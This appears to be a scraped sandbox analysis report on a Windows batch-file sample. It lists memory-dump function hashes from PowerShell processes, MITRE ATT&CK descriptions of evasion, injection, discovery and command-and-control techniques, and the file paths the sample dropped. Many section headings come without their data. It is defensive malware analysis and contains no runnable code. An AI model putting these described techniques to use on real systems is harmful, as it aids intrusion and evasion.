Snapshot File: hcaresult_13_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6e55267d83669c9ddc6f405bfc0d9600c3f950810d6fdcec0debe52550c7534
Instruction ID: 18f4a0166f93f144bf3ea1e8b0b05559ac9530071ec8b11194fb5b9c4c0b4346
Opcode Fuzzy Hash: a6e55267d83669c9ddc6f405bfc0d9600c3f950810d6fdcec0debe52550c7534
Instruction Fuzzy Hash: 6151655BA0D6C22FE322967858B51EA3FA4DFA326470D50B3C5CDDA093DD0E2807E261

Function 00007FFD34212672 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263117393.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9ab83c25f64fc351fa0bb962501b65a49a1aae05d1e68e0f7bf73283b6941d
Instruction ID: b20f96261acad970d6ea34939ac6fe6a5c3da8d82ea59686c314b37bedaaae98
Opcode Fuzzy Hash: da9ab83c25f64fc351fa0bb962501b65a49a1aae05d1e68e0f7bf73283b6941d
Instruction Fuzzy Hash: 1C41D85BF0D7C21BF722966818B60EA2FD4DF5326474A01F7D6D4EA0D3DD0E5807A222

Analysis Process: powershell.exePID: 7664, Parent PID: 4176COMMON

Executed Functions

Function 00007FFD342F0B44 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3412018826.00007FFD342F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffd342f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f046af7163549c51126baa196689eb3a0aa19a6a8455b262a1da5309d4b863a8
Instruction ID: e80f057c064a7efa68659627873d3687c95c043c18e4235115d0ff109ba11cb0
Opcode Fuzzy Hash: f046af7163549c51126baa196689eb3a0aa19a6a8455b262a1da5309d4b863a8
Instruction Fuzzy Hash: 20012D32F1DA468FE79DA75C946527873D1EF4625478400BFE14DD31A3DD2EAC058300

Function 00007FFD34224195 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3411090516.00007FFD34220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffd34220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348d5fb5261f51f812e1f49a056d31a35d386422633fb1efa08e0a84813b5c5b
Instruction ID: 4156ceba67398353b2fdc18711ae302a9fd4ece75d923e9a25100f2568da52fd
Opcode Fuzzy Hash: 348d5fb5261f51f812e1f49a056d31a35d386422633fb1efa08e0a84813b5c5b
Instruction Fuzzy Hash: 4201A73020CB0C4FDB44EF0CE051AA5B3E0FB99360F10052EE58AC3655D736E881CB41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report slifdgjsidfg19.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\Document.zip

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_555yenrp.lgk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cswgq2ck.gxq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ieiww0yz.t2y.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0dqjeoz.5mk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rojyjpdl.e3e.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdxf4qta.1pf.ps1

C:\Users\user\Desktop\tmp

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

\Device\Null

Static File Info

Windows Analysis Report
slifdgjsidfg19.bat